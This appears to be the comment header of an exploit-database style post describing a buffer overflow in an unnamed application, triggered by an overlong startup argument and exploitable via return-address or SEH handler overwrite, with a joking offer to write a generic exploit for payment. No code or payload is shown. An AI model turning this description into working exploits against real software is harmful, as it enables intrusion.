# App. has classic buffer overflow vulnerability
# it can be triggered by passing a too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need a generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^
